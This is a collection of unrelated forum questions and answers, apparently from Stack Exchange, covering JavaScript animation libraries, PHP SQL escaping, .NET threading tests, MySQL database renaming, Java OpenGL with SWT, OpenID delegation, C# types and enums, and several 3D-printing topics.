<p>I have found <a href="http://en.wikipedia.org/wiki/MooTools" rel="nofollow noreferrer">MooTools</a> to be pretty slick for animations, just a little smoother than jQuery. </p>
<p>I generally prefer jQuery, which I find to be a little more intuitive (in my head anyway), but I would use MooTools if slick animation is the most important requirement. </p>
|
<p>JQuery has animation, but I don't know what it is like on a Mac (I don't have a mac). If things are going slow, then you are probably making the animations too complicated. Remember, JavaScript is a slow language, and DOM is not designed for animation, so try to limit yourself with respect to the number of animations at the same time. Always ask if the animation is really necessary. </p>
| 5,120
|
<p>Is there any way to test what kind your filament is? There are no labels on the spools and I don't know whether they are ABS or PLA.</p>
<p>I got the plastic with the printer, which is no longer sold (Solidoodle 2). Since I bought it on eBay that is probably why it has unprofessional filament. The plastic filament came with the printer which is now off sale (Solidoodle v2).</p>
<p>I set my extruder to 210 °C and bed to 50 °C and it printed fine (with tons of hairspray and painters tape).</p>
<p>I figured out where I got it. I got it from Solidoodle (who have gone out of business) when I bought the Solidoodle 2 right after it came out. </p>
<p>I bought PLA and ABS so it has to be one of the two. Any other ways without having to burn and smell plastic? I just have the roll with no numbers, works or anything on it. And how to I smell without breathing in the fumes?</p>
|
<p>ABS dissolves in acetone, you could try clipping a small section and leave it in some acetone for a few minutes and if it begins to dissolve it's safe to assume that it's ABS, if not then you'll know that it's not.</p>
<p>This won't confirm that it is PLA, only whether it's ABS or not.</p>
|
<p><a href="http://www.boedeker.com/burntest.htm" rel="nofollow noreferrer">Using The Burn Test to Identify Plastic Materials</a> is one way. From the link:</p>
<blockquote>
<p>To initially determine whether a material is thermoplastic (meltable)
or thermoset (non-meltable) type, heat a metal or glass stirring rod
until it glows red or orange (to about 500°F / 260°C) and press it
against the sample. If the sample softens, the material is a
thermoplastic; if it does not, it's probably a thermoset.</p>
<p>Next, hold the sample to the edge of a flame until it ignites. If no
flame is produced quickly, hold the sample in the flame for about 10
seconds. If the material burns, note the color of the flame, the
nature of the smoke, the presence of soot in the air and whether,
while burning, the sample drips.</p>
<p>Next, extinguish the flame and cautiously smell the fumes. To identify
the odor, samples of known plastic samples for comparison can be most
helpful. Finally, check your observations against the known
characteristics of each plastic as shown in the table below. Once you
have made a tentative identification, it is usually desirable to
repeat the flame test once or twice to confirm the results of the
original identification. Remember that additives may affect results.
For example: flame retardants can mask the polymer material's normal
flame & smoke burning characteristics.</p>
<p><a href="https://i.stack.imgur.com/IDFnK.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/IDFnK.jpg" alt="Burn Test Characteristics Table" /></a></p>
</blockquote>
<p>However, remember ABS and PLA aren't the only types of filament.</p>
<p>ABS and PLA have different melting points and smell different when melting. Maybe try melting little bits on a soldering iron or stove top. The smell could give it away. Just don't breathe in the fumes, it can be toxic, also molten plastic particles in lungs aren't great either. I'd recommend contacting the supplier.</p>
<p>No markings complicates matters. Not very professional of the supplier. Smelling without breathing in fumes, just don't put your face directly over the fumes, just hold it away from your face and sniff sniff the air. if the smoke curls are going into your nose you are doing it wrong.</p>
| 545
|
<p>Here are a few possibilities to get the conversation started:</p>
<ol>
<li>Escape all input upon initialization.</li>
<li>Escape each value, preferably when generating the SQL.</li>
</ol>
<p>The first solution is suboptimal, because you then need to unescape each value if you want to use it in anything other than SQL, like outputting it on a web page.</p>
<p>The second solution makes much more sense, but manually escaping each value is a pain.</p>
<p>I'm aware of <a href="http://en.wikipedia.org/wiki/SQL_injection#Using_Parameterized_Statements" rel="noreferrer">prepared statements</a>, however I find <a href="http://www.php.net/manual/en/book.mysqli.php" rel="noreferrer">MySQLi</a> cumbersome. Also, separating the query from the inputs concerns me, because although it's crucial to get the order correct it's easy to make a mistake, and thus write the wrong data to the wrong fields.</p>
|
<p>as @Rob Walker states, parameterized queries are your best bet. If you're using the latest and greatest PHP, I'd highly recommend taking a look at <a href="http://us3.php.net/pdo" rel="noreferrer">PDO</a> (PHP Data Objects). This is a native database abstraction library that has support for a wide range of databases (including MySQL of course) as well as prepared statements with named parameters.</p>
|
<p>I've always used the first solution because 99% of the time, variables in <code>$_GET</code>, <code>$_POST</code>, and <code>$_COOKIE</code> are never outputted to the browser. You also won't ever mistakenly write code with an SQL injection (unless you don't use quotes in the query), whereas with the second solution you could easily forget to escape one of your strings eventually.</p>
<p>Actually, the reason I've always done it that way was because all my sites had the magic_quotes setting on by default, and once you've written a lot of code using one of those two solutions, it takes a lot of work to change to the other one.</p>
| 6,927
|
<p>this kind of follows on from another <a href="https://stackoverflow.com/questions/41290/file-access-strategy-in-a-multi-threaded-environment-web-app">question</a> of mine.</p>
<p>Basically, once I have the code to access the file (will review the answers there in a minute) what would be the best way to <strong>test</strong> it?</p>
<p>I am thinking of creating a method which just spawns lots of <a href="http://msdn.microsoft.com/en-us/library/system.componentmodel.backgroundworker.aspx" rel="noreferrer">BackgroundWorker</a>'s or something and tells them all load/save the file, and test with varying file/object sizes. Then, get a response back from the threads to see if it failed/succeeded/made the world implode etc.</p>
<p>Can you guys offer any suggestions on the best way to approach this? As I said before, this is all kinda new to me :)</p>
<h3>Edit</h3>
<p>Following <a href="https://stackoverflow.com/questions/41568/whats-the-best-way-to-test-a-method-from-multiple-threads#41572">ajmastrean's</a> post:</p>
<p>I am using a console app to test with Debug.Asserts :)</p>
<hr />
<h2>Update</h2>
<p>I originally rolled with using <a href="http://msdn.microsoft.com/en-us/library/system.componentmodel.backgroundworker.aspx" rel="noreferrer">BackgroundWorker</a> to deal with the threading (since I am used to that from Windows dev) I soon realised that when I was performing tests where multiple ops (threads) needed to complete before continuing, I realised it was going to be a bit of a hack to get it to do this.</p>
<p>I then followed up on <a href="https://stackoverflow.com/questions/41568/whats-the-best-way-to-unit-test-from-multiple-threads#41589">ajmastrean</a>'s post and realised I should really be using the <a href="http://msdn.microsoft.com/en-us/library/system.threading.thread(VS.80).aspx" rel="noreferrer">Thread</a> class for working with concurrent operations. I will now refactor using this method (albeit a different approach).</p>
|
<p>In .NET, <code>ThreadPool</code> threads won't return without setting up <code>ManualResetEvent</code>s or <code>AutoResetEvent</code>s. I find these overkill for a quick test method (not to mention kind of complicated to create, set, and manage). Background worker is a also a bit complex with the callbacks and such.</p>
<p>Something I have found that works is </p>
<ol>
<li>Create an array of threads.</li>
<li>Setup the <code>ThreadStart</code> method of each thread.</li>
<li>Start each thread.</li>
<li>Join on all threads (blocks the current thread until all other threads complete or abort) </li>
</ol>
<pre class="lang-cs prettyprint-override"><code>public static void MultiThreadedTest()
{
Thread[] threads = new Thread[count];
for (int i = 0; i < threads.Length; i++)
{
threads[i] = new Thread(DoSomeWork());
}
foreach(Thread thread in threads)
{
thread.Start();
}
foreach(Thread thread in threads)
{
thread.Join();
}
}
</code></pre>
|
<p>Your idea should work fine. Basically you just want to spawn a bunch of threads, and make sure the ones writing the file take long enough to do it to actually make the readers wait. If all of your threads return without error, and without blocking forever, then the test succeeds.</p>
| 6,289
|
<p>The MySQL manual at <a href="http://web.archive.org/web/20160504181056/https://dev.mysql.com/doc/refman/5.1/en/rename-database.html" rel="noreferrer">MySQL</a> covers this.</p>
<p>Usually I just dump the database and reimport it with a new name. This is not an option for very big databases. Apparently <code>RENAME {DATABASE | SCHEMA} db_name TO new_db_name;</code> <a href="http://web.archive.org/web/20160504181056/https://dev.mysql.com/doc/refman/5.1/en/rename-database.html" rel="noreferrer">does bad things, exists only in a handful of versions, and is a bad idea overall</a>.</p>
<p>This needs to work with <a href="http://en.wikipedia.org/wiki/InnoDB" rel="noreferrer">InnoDB</a>, which stores things very differently than <a href="http://en.wikipedia.org/wiki/MyISAM" rel="noreferrer">MyISAM</a>.</p>
|
<p>For <strong>InnoDB</strong>, the following seems to work: create the new empty database, then rename each table in turn into the new database:</p>
<pre><code>RENAME TABLE old_db.table TO new_db.table;
</code></pre>
<p>You will need to adjust the permissions after that.</p>
<p>For scripting in a shell, you can use either of the following:</p>
<pre><code>mysql -u username -ppassword old_db -sNe 'show tables' | while read table; \
do mysql -u username -ppassword -sNe "rename table old_db.$table to new_db.$table"; done
</code></pre>
<p>OR</p>
<pre><code>for table in `mysql -u root -ppassword -s -N -e "use old_db;show tables from old_db;"`; do mysql -u root -ppassword -s -N -e "use old_db;rename table old_db.$table to new_db.$table;"; done;
</code></pre>
<hr>
<p>Notes:</p>
<ul>
<li>There is no space between the option <code>-p</code> and the password. If your database has no password, remove the <code>-u username -ppassword</code> part.</li>
<li><p>If some table has a trigger, it cannot be moved to another database using above method (will result <code>Trigger in wrong schema</code> error). If that is the case, use a traditional way to clone a database and then drop the old one:</p>
<p><code>mysqldump old_db | mysql new_db</code></p></li>
<li><p>If you have stored procedures, you can copy them afterwards:</p>
<p><code>mysqldump -R old_db | mysql new_db</code></p></li>
</ul>
|
<p>Really, the simplest answer is to export your old database then import it into the new one that you've created to replace the old one. Of course, you should use <a href="http://en.wikipedia.org/wiki/PhpMyAdmin" rel="nofollow noreferrer">phpMyAdmin</a> or command line to do this.</p>
<p><strong>Renaming and Jerry-rigging the database is a BAD-IDEA! DO NOT DO IT.</strong> (Unless you are the "hacker-type" sitting in your mother's basement in the dark and eating pizza sleeping during the day.)</p>
<p>You will end up with more problems and work than you want.</p>
<p>So,</p>
<ol>
<li>Create a new_database and name it the correct way.</li>
<li>Go to your phpMyAdmin and open the database you want to export.</li>
<li>Export it (check the options, but you should be OK with the defaults.</li>
<li>You will get a file like or similar to this.</li>
<li><p>The extension on this file is .sql</p>
<p>-- phpMyAdmin SQL Dump
-- version 3.2.4</p>
<h2>-- <a href="http://www.phpmyadmin.net" rel="nofollow noreferrer">http://www.phpmyadmin.net</a></h2>
<p>-- Host: localhost
-- Generation Time: Jun 30, 2010 at 12:17 PM
-- Server version: 5.0.90
-- PHP Version: 5.2.6</p>
<p>SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";</p>
<p>/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT <em>/;
/</em>!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS <em>/;
/</em>!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION <em>/;
/</em>!40101 SET NAMES utf8 */;</p>
<p>--</p>
<h2>-- Database: <code>mydatab_online</code></h2>
<hr>
<p>--</p>
<h2>-- Table structure for table <code>user</code></h2>
<p>CREATE TABLE IF NOT EXISTS <code>user</code> (
<code>timestamp</code> int(15) NOT NULL default '0',
<code>ip</code> varchar(40) NOT NULL default '',
<code>file</code> varchar(100) NOT NULL default '',
PRIMARY KEY (<code>timestamp</code>),
KEY <code>ip</code> (<code>ip</code>),
KEY <code>file</code> (<code>file</code>)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;</p>
<p>--</p>
<h2>-- Dumping data for table <code>user</code></h2>
<p>INSERT INTO <code>user</code> (<code>timestamp</code>, <code>ip</code>, <code>file</code>) VALUES
(1277911052, '999.236.177.116', ''),
(1277911194, '999.236.177.116', '');</p></li>
</ol>
<p>This will be your .sql file. The one that you've just exported.</p>
<p>Find it on your hard-drive; usually it is in <code>/temp</code>. Select the empty database that has the correct name (the reason why you are reading this).
SAY: Import - GO</p>
<p>Connect your program to the correct database by entering it into what usually is a configuration.php file. Refresh the server (both. Why? Because I am a UNIX <strong>oldtimer</strong>, and I said so.
Now, you should be in good shape. If you have any further questions visit me on the web.</p>
| 9,267
|
<p>I am trying to achieve better performance for my Java SWT application, and I just found out it is possible to use OpenGL in SWT. It seems there are more than one Java binding for OpenGL. Which one do you prefer?</p>
<p>Note that I have never used OpenGL before, and that the application needs to work on Windows, Linux and Mac OS X.</p>
|
<p><a href="http://www.opengl.org/resources/bindings/" rel="noreferrer" title="opengl.org">JOGL</a></p>
<p>My reasons can be quoted off the previously linked site:</p>
<blockquote>
<p>JOGL provides full access to the APIs in the OpenGL 2.0 specification as well as nearly all vendor extensions, and integrates with the AWT and Swing widget sets.</p>
</blockquote>
<p>Also if you want to have some fun learning and poking around, <a href="http://processing.org/" rel="noreferrer" title="Processing">Processing</a> is an excellent way to start (Processing also uses JOGL btw...)</p>
|
<p>We've had lots of luck at work using JOGL. The new 2.0 version is at <a href="http://jogamp.org/" rel="nofollow">http://jogamp.org/</a> (the last "old" version is at <a href="http://download.java.net/media/jogl/builds/archive/jsr-231-1.1.1a/" rel="nofollow">http://download.java.net/media/jogl/builds/archive/jsr-231-1.1.1a/</a>).</p>
<p>For JOGL 2 with SWT specifically, I've got a series of tutorials starting at <a href="http://wadeawalker.wordpress.com/2010/10/09/tutorial-a-cross-platform-workbench-program-using-java-opengl-and-eclipse/" rel="nofollow">http://wadeawalker.wordpress.com/2010/10/09/tutorial-a-cross-platform-workbench-program-using-java-opengl-and-eclipse/</a> that demonstrates exactly how to make cross-platform JOGL SWT applications, complete with installable native binaries.</p>
<p>Or if you don't want to use Eclipse RCP, here's an even simpler example that just draws one triangle with JOGL 2 and SWT. To build it, put it in a project with swt.jar (from <a href="http://www.eclipse.org/swt/" rel="nofollow">http://www.eclipse.org/swt/</a>) and the latest JOGL autobuild .jar and .dll files (from <a href="http://jogamp.org/" rel="nofollow">http://jogamp.org/</a>). The only problem with this simple example is that it won't be cross-platform without some extra help -- you need the ability that Eclipse RCP gives you to bundle multiple sets of platform libraries together into one project.</p>
<pre><code>package name.wadewalker.onetriangle;
import org.eclipse.swt.SWT;
import org.eclipse.swt.events.PaintEvent;
import org.eclipse.swt.events.PaintListener;
import org.eclipse.swt.graphics.Rectangle;
import org.eclipse.swt.layout.FillLayout;
import org.eclipse.swt.opengl.GLCanvas;
import org.eclipse.swt.opengl.GLData;
import org.eclipse.swt.widgets.Composite;
import org.eclipse.swt.widgets.Display;
import org.eclipse.swt.widgets.Event;
import org.eclipse.swt.widgets.Listener;
import org.eclipse.swt.widgets.Shell;
import javax.media.opengl.GL;
import javax.media.opengl.GLProfile;
import javax.media.opengl.GL2;
import javax.media.opengl.GLContext;
import javax.media.opengl.GLDrawableFactory;
import javax.media.opengl.glu.GLU;
public class OneTriangle {
public static void main(String [] args) {
GLProfile.initSingleton( true );
GLProfile glprofile = GLProfile.get( GLProfile.GL2 );
Display display = new Display();
Shell shell = new Shell( display );
shell.setLayout( new FillLayout() );
Composite composite = new Composite( shell, SWT.NONE );
composite.setLayout( new FillLayout() );
GLData gldata = new GLData();
gldata.doubleBuffer = true;
// need SWT.NO_BACKGROUND to prevent SWT from clearing the window
// at the wrong times (we use glClear for this instead)
final GLCanvas glcanvas = new GLCanvas( composite, SWT.NO_BACKGROUND, gldata );
glcanvas.setCurrent();
final GLContext glcontext = GLDrawableFactory.getFactory( glprofile ).createExternalGLContext();
// fix the viewport when the user resizes the window
glcanvas.addListener( SWT.Resize, new Listener() {
public void handleEvent(Event event) {
setup( glcanvas, glcontext );
}
});
// draw the triangle when the OS tells us that any part of the window needs drawing
glcanvas.addPaintListener( new PaintListener() {
public void paintControl( PaintEvent paintevent ) {
render( glcanvas, glcontext );
}
});
shell.setText( "OneTriangle" );
shell.setSize( 640, 480 );
shell.open();
while( !shell.isDisposed() ) {
if( !display.readAndDispatch() )
display.sleep();
}
glcanvas.dispose();
display.dispose();
}
private static void setup( GLCanvas glcanvas, GLContext glcontext ) {
Rectangle rectangle = glcanvas.getClientArea();
glcanvas.setCurrent();
glcontext.makeCurrent();
GL2 gl = glcontext.getGL().getGL2();
gl.glMatrixMode( GL2.GL_PROJECTION );
gl.glLoadIdentity();
// coordinate system origin at lower left with width and height same as the window
GLU glu = new GLU();
glu.gluOrtho2D( 0.0f, rectangle.width, 0.0f, rectangle.height );
gl.glMatrixMode( GL2.GL_MODELVIEW );
gl.glLoadIdentity();
gl.glViewport( 0, 0, rectangle.width, rectangle.height );
glcontext.release();
}
private static void render( GLCanvas glcanvas, GLContext glcontext ) {
Rectangle rectangle = glcanvas.getClientArea();
glcanvas.setCurrent();
glcontext.makeCurrent();
GL2 gl = glcontext.getGL().getGL2();
gl.glClear( GL.GL_COLOR_BUFFER_BIT );
// draw a triangle filling the window
gl.glLoadIdentity();
gl.glBegin( GL.GL_TRIANGLES );
gl.glColor3f( 1, 0, 0 );
gl.glVertex2f( 0, 0 );
gl.glColor3f( 0, 1, 0 );
gl.glVertex2f( rectangle.width, 0 );
gl.glColor3f( 0, 0, 1 );
gl.glVertex2f( rectangle.width / 2, rectangle.height );
gl.glEnd();
glcanvas.swapBuffers();
glcontext.release();
}
}
</code></pre>
| 9,196
|
<p>I have more than one OpenID as I have tried out numerous. As people take up OpenID different suppliers are going to emerge I may want to switch provinders. As all IDs are me, and all are authenticated against the same email address, shouldn't I be able to log into stack overflow with any of them and be able to hit the same account?</p>
|
<p>I think each site that implements OpenID would have to build their software to allow multiple entries for your OpenID credentials. However, just because a site doesn't allow you to create multiple entries doesn't mean you can't swap out OpenID suppliers.</p>
<h2>How to turn your blog into an OpenID</h2>
<p>STEP 1: Get an OpenID. There a lots of servers and services out there you can use. I use <a href="http://www.myopenid.com" rel="nofollow noreferrer">http://www.myopenid.com</a></p>
<p>STEP 2: Add these two lines to your blog's main template in-between the <code><HEAD></HEAD></code> tags at the top of your template. Most all blog engines support editing your template so this should be an easy and very possible thing to do.</p>
<p>Example:</p>
<pre>
<link rel="openid.server" href="http://www.myopenid.com/server" />
<link rel="openid.delegate" href=http://YOURUSERNAME.myopenid.com/ />
</pre>
<p>This will let you use your domain/blog as your OpenID.</p>
<p>Credits to <a href="http://www.hanselman.com/blog/TheWeeklySourceCode25OpenIDEdition.aspx" rel="nofollow noreferrer">Scott Hanselman</a> and <a href="http://simonwillison.net/2006/Dec/19/openid/" rel="nofollow noreferrer">Simon Willison</a> for these simple instructions.</p>
<h2>Switch Your Supplier</h2>
<p>Now that your OpenID points to your blog, you can update your link rel href's to point to a new supplier and all the places that you've tied your blog's OpenID will use the new supplier.</p>
|
<p>Doesn't using multiple open-id providers sort of undermine the point of open id?</p>
| 2,666
|
<p>What's the difference between struct and class in .NET?</p>
|
<p>In .NET, there are two categories of types, <em>reference types</em> and <em>value types</em>.</p>
<p>Structs are <em>value types</em> and classes are <em>reference types</em>.</p>
<p>The general difference is that a <em>reference type</em> lives on the heap, and a <em>value type</em> lives inline, that is, wherever it is your variable or field is defined.</p>
<p>A variable containing a <em>value type</em> contains the entire <em>value type</em> value. For a struct, that means that the variable contains the entire struct, with all its fields.</p>
<p>A variable containing a <em>reference type</em> contains a pointer, or a <em>reference</em> to somewhere else in memory where the actual value resides.</p>
<p>This has one benefit, to begin with:</p>
<ul>
<li><em>value types</em> always contains a value</li>
<li><em>reference types</em> can contain a <em>null</em>-reference, meaning that they don't refer to anything at all at the moment</li>
</ul>
<p>Internally, <em>reference type</em>s are implemented as pointers, and knowing that, and knowing how variable assignment works, there are other behavioral patterns:</p>
<ul>
<li>copying the contents of a <em>value type</em> variable into another variable, copies the entire contents into the new variable, making the two distinct. In other words, after the copy, changes to one won't affect the other</li>
<li>copying the contents of a <em>reference type</em> variable into another variable, copies the reference, which means you now have two references to the same <em>somewhere else</em> storage of the actual data. In other words, after the copy, changing the data in one reference will appear to affect the other as well, but only because you're really just looking at the same data both places</li>
</ul>
<p>When you declare variables or fields, here's how the two types differ:</p>
<ul>
<li>variable: <em>value type</em> lives on the stack, <em>reference type</em> lives on the stack as a pointer to somewhere in heap memory where the actual memory lives (though note <a href="https://blogs.msdn.microsoft.com/ericlippert/2009/04/27/the-stack-is-an-implementation-detail-part-one/" rel="noreferrer">Eric Lipperts article series: The Stack Is An Implementation Detail</a>.)</li>
<li>class/struct-field: <em>value type</em> lives completely inside the type, <em>reference type</em> lives inside the type as a pointer to somewhere in heap memory where the actual memory lives.</li>
</ul>
|
<p>Every variable or field of a primitive value type or structure type holds a unique instance of that type, including all its fields (public and private). By contrast, variables or fields of reference types may hold null, or may refer to an object, stored elsewhere, to which any number of other references may also exist. The fields of a struct will be stored in the same place as the variable or field of that structure type, which may be either on the stack or may be <em>part of</em> another heap object. </p>
<p>Creating a variable or field of a primitive value type will create it with a default value; creating a variable or field of a structure type will create a new instance, creating all fields therein in the default manner. Creating a new <em>instance</em> of a reference type will start by creating all fields therein in the default manner, and then running optional additional code depending upon the type.</p>
<p>Copying one variable or field of a primitive type to another will copy the value. Copying one variable or field of structure type to another will copy all the fields (public and private) of the former instance to the latter instance. Copying one variable or field of reference type to another will cause the latter to refer to the same instance as the former (if any).</p>
<p>It's important to note that in some languages like C++, the semantic behavior of a type is independent of how it is stored, but that isn't true of .NET. If a type implements mutable value semantics, copying one variable of that type to another copies the properties of the first to another instance, referred to by the second, and using a member of the second to mutate it will cause that second instance to be changed, but not the first. If a type implements mutable reference semantics, copying one variable to another and using a member of the second to mutate the object will affect the object referred to by the first variable; types with immutable semantics do not allow mutation, so it doesn't matter semantically whether copying creates a new instance or creates another reference to the first.</p>
<p>In .NET, it is possible for value types to implement any of the above semantics, provided that all of their fields can do likewise. A reference type, however, can only implement mutable reference semantics or immutable semantics; value types with fields of mutable reference types are limited to either implementing mutable reference semantics or weird hybrid semantics.</p>
| 3,408
|
<p>I need to validate an integer to know if is a valid enum value.</p>
<p>What is the best way to do this in C#?</p>
|
<p>You got to love these folk who assume that data not only always comes from a UI, but a UI within your control!</p>
<p><code>IsDefined</code> is fine for most scenarios, you could start with:</p>
<pre><code>public static bool TryParseEnum<TEnum>(this int enumValue, out TEnum retVal)
{
retVal = default(TEnum);
bool success = Enum.IsDefined(typeof(TEnum), enumValue);
if (success)
{
retVal = (TEnum)Enum.ToObject(typeof(TEnum), enumValue);
}
return success;
}
</code></pre>
<p>(Obviously just drop the ‘this’ if you don’t think it’s a suitable int extension)</p>
|
<p>I found this <a href="http://www.cambiaresearch.com/c4/52a7e5fe-c7fc-49ab-b21d-37e6194687f3/Convert-Integer-To-Enum-Instance-in-csharp.aspx" rel="nofollow noreferrer">link</a> that answers it quite well. It uses:</p>
<pre><code>(ENUMTYPE)Enum.ToObject(typeof(ENUMTYPE), INT)
</code></pre>
| 3,457
|
<p>Most people complain about the filament not sticking on build plate but mine is vice versa. At first it used to be very good. When I removed the magnetic bed the project would come off easily but for a few days it is like I glue it to the bed with epoxy. It is impossible to remove and when I remove the black projects from the bed I see white color at the bottom of the object printed. Maybe because of too much force but I don't know why this happens.</p>
|
<p>Had this problem on my second print. The nozzle was too close to the bed. The only way I got it all off was to heat the bed. Then the PLA became a bit softer and came off pretty fast.</p>
|
<p>This usually happens when your nozzle is too close to bed during the first layer.<br>
Quick fix is <strong>redo bed levelling</strong>.<br>
Clean your build surface.<br>
Watch you first layer
<a href="https://i.stack.imgur.com/PAC4o.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/PAC4o.jpg" alt="enter image description here"></a></p>
| 1,670
|
<p>I'd like to talk about site building a little bit. We have now been in public Beta for almost a year now and I feel that we've learned a lot about what audience we have here on Stack Exchange. However, we've got a little ways to go before we can make it out of Beta.</p>
<h1>The Stats</h1>
<ul>
<li><em>Questions per day</em> is <strong>2.1</strong>/10; 21% of the way there</li>
<li>Our <em>answer rate</em> is still good with <strong>96%</strong></li>
<li>We need to work on our votes
<ul>
<li>We have <strong>56</strong>/150 users with <em>200+ reputation</em></li>
<li>We have <strong>4</strong>/10 users with <em>2,000+ reputation</em></li>
<li>We have <strong>3</strong>/5 users with <em>3,000+ reputation</em></li>
</ul></li>
<li>Our <em>answers per question</em> ratio is <strong>2.0</strong>/2.5. which is good, but could be better</li>
<li>We currently hold an average of <strong>753</strong> <em>visits per day</em> out of a recommended 1,500 per day.</li>
</ul>
<p>All of these stats are live and always available on <a href="http://area51.stackexchange.com/proposals/82438/3d-printing">our Area51 site</a>.</p>
<h2>Let's increase our Visits!</h2>
<p>Ultimately, the kink in the chain is that we do not have enough visitors. The more visitors we accrue, the easier it may become to reach some of these smaller goals such as <strong><em>questions per day</em></strong> and <strong><em>user reputation</em></strong>. Remember that the home page for 3D Printing has sharing links to social media sites.</p>
<p>There are a growing number of 3D printing sites such as Thingiverse, 3D Hubs, MakeXYZ, Shapeways, etc. All of these sites have avid users and I'm sure many of them have questions on a regular basis and are more than happy to share their knowledge with other Makers/Professionals.</p>
<h2>Let's increase our Votes!</h2>
<p>The more people we have visiting the site, the more <strong>opportunity</strong> we have have gaining more reputation.</p>
<p>As Josip Ivic states in a recent <a href="https://3dprinting.meta.stackexchange.com/questions/196/remember-to-vote">Meta post</a>, asking/answering questions becomes a chore if people don't feel that they're efforts are appreciated or good enough. Often times there is legitimate research going into answering certain questions, so there can be real work going into providing people with quality answers.</p>
<p>The same goes for asking questions. If you've been in the same predicament or appreciate a well written question, give the question an up-vote.</p>
<h2>Meta Activity</h2>
<p>I think it is also important for everyone to occasionally review the latest here on Meta. It's a great tool for people to express how they feel the site could be better!</p>
|
<p>Well we need to attract more members! Personally I know a lot of people that can help us attract more. Myself I run a facebook group with 6k members called 3d printing hobbyists. That said I am also friends with the admins of the other and larger groups. </p>
<p>If I had some good promo material I could probably get folks like 3d printing nerd to mention the SO group in his highly visible channel. </p>
|
<p>Well we need to attract more members! Personally I know a lot of people that can help us attract more. Myself I run a facebook group with 6k members called 3d printing hobbyists. That said I am also friends with the admins of the other and larger groups. </p>
<p>If I had some good promo material I could probably get folks like 3d printing nerd to mention the SO group in his highly visible channel. </p>
| 37
|
<p>I have <a href="https://ultimaker.com/en/products/ultimaker-2-plus" rel="noreferrer" title="Ultimaker 2+">Ultimaker 2+ 3D Printer</a> and I need to print a piece that doesn't fit within the build volume of the printer. Even though it would fit I'd still need to print it in two parts because I'll need to fit some equipment inside. I could use glue to put it together, but I'll need to remove the equipment later.</p>
<p>So I'm trying to find some feasible solutions how to attach/snap it together. The wall thickness is currently 3mm.</p>
<p><a href="https://i.stack.imgur.com/FFckZ.png" rel="noreferrer" title="Cut Plane"><img src="https://i.stack.imgur.com/FFckZ.png" alt="Cut Plane" title="Cut Plane"></a></p>
<p>Plane for cutting the part.</p>
<p><a href="https://i.stack.imgur.com/L2hhV.png" rel="noreferrer" title="Cut Cross Section"><img src="https://i.stack.imgur.com/L2hhV.png" alt="Cross Section where I split the part" title="Cut Cross Section"></a></p>
<p>Cut cross section.</p>
|
<p>If the equipment has to be removable, then there's no point in trying to make a one-piece object in the first place. So it looks like you have two problems. The first is to decide what's the best way to split your container to facilitate both putting the equipment inside & removing it; the second is how to latch the two together. I can't answer the first since you haven't shown us the equipment.</p>
<p>As to the second: there are a number of plans for spring-latching connectors (such as used with straps, backpack covers, etc) on thingiverse.com. If you have no constraints on the exterior of your container, I would just merge the latching connectors into the container wall (e.g. with meshmixer) .</p>
|
<p>Thanks for your reply all. I think I have a solution for my need. Here are some figures!</p>
<p><a href="https://i.stack.imgur.com/BfZmN.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/BfZmN.png" alt="enter image description here"></a></p>
<p><a href="https://i.stack.imgur.com/BfyZt.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/BfyZt.png" alt="enter image description here"></a></p>
<p><a href="https://i.stack.imgur.com/hBYET.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/hBYET.png" alt="enter image description here"></a></p>
<p>More picture of the clip!</p>
<p><a href="https://i.stack.imgur.com/S7WMO.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/S7WMO.png" alt="enter image description here"></a></p>
<p><a href="https://i.stack.imgur.com/VGDQU.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/VGDQU.png" alt="enter image description here"></a></p>
<p><a href="https://i.stack.imgur.com/P74zp.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/P74zp.png" alt="enter image description here"></a></p>
| 526
|
<p>We currently maintain a suit of MFC applications that are fairly well designed, however the user interface is beginning to look tired and a lot of the code is in need quite a bit of refactoring to tidy up some duplication and/or performance problems. We make use of quite a few custom controls that handle all their own drawing (all written using MFC).</p>
<p>Recently I've been doing more research into Qt and the benefits it provides (cross-platform and supports what you might call a more "professional" looking framework for UI development).</p>
<p>My question is - <strong>what would be the best approach to perhaps moving to the Qt framework</strong>? Does Qt play nice with MFC? Would it be better to start porting some of our custom controls to Qt and gradually integrate more and more into our existing MFC apps? (is this possible?).</p>
<p>Any advice or previous experience is appreciated.</p>
|
<p>In my company, we are currently using Qt and are very happy with it.</p>
<p>I personnally never had to move a MFC-app into using the Qt framework, but here is something which might be of some interest for you :</p>
<p><strike><a href="http://www.qtsoftware.com/products/appdev/add-on-products/catalog/3/Windows/qtwinmigrate/" rel="nofollow noreferrer">Qt/MFC Migration Framework</a></strike></p>
<p><a href="http://doc.qt.nokia.com/solutions/4/qtwinmigrate/index.html" rel="nofollow noreferrer">Qt/MFC Migration Framework</a></p>
<p>It's part of Qt-Solutions, so this means you'll have to buy a Qt license along with a Qt-Solutions license. (edit: <a href="http://www.qtsoftware.com/about/news/lgpl-license-option-added-to-qt" rel="nofollow noreferrer">not any more</a>)</p>
<p>I hope this helps !</p>
|
<p>It's a tricky problem, and I suspect that the answer depends on how much time you have. You will get a much better result if you port your custom controls to Qt - if you use the QStyle classes to do the actual drawing then you'll end up with theme-able code right out of the box.</p>
<p>In general, my advice would be to bite the bullet and go the whole way at once. Sure, it might take longer, but the alternative is to spend an age trying to debug code that doesn't <em>quite</em> play ball, and end up writing more code to deal with minor incompatibilities between the two systems (been there, done that).</p>
<p>So, to summarise, my advice is to start a branch and rip out all your old MFC code and replace it with Qt. You'll get platform independence (almost) for free, and while it will take a while, you'll end up with a much nicer product at the end of it.</p>
<p>One final word of warning: make sure you take the time to understand the "Qt way of doing things" - in some cases it can be quite different to the MFC approach - the last thing you want to do is to end up with MFC-style Qt code.</p>
| 4,728
|
<p>I am planning on getting a 3D printer soon and I was just wondering, what do you do with 3D prints that either failed or were prototypes that you no longer want?<br>
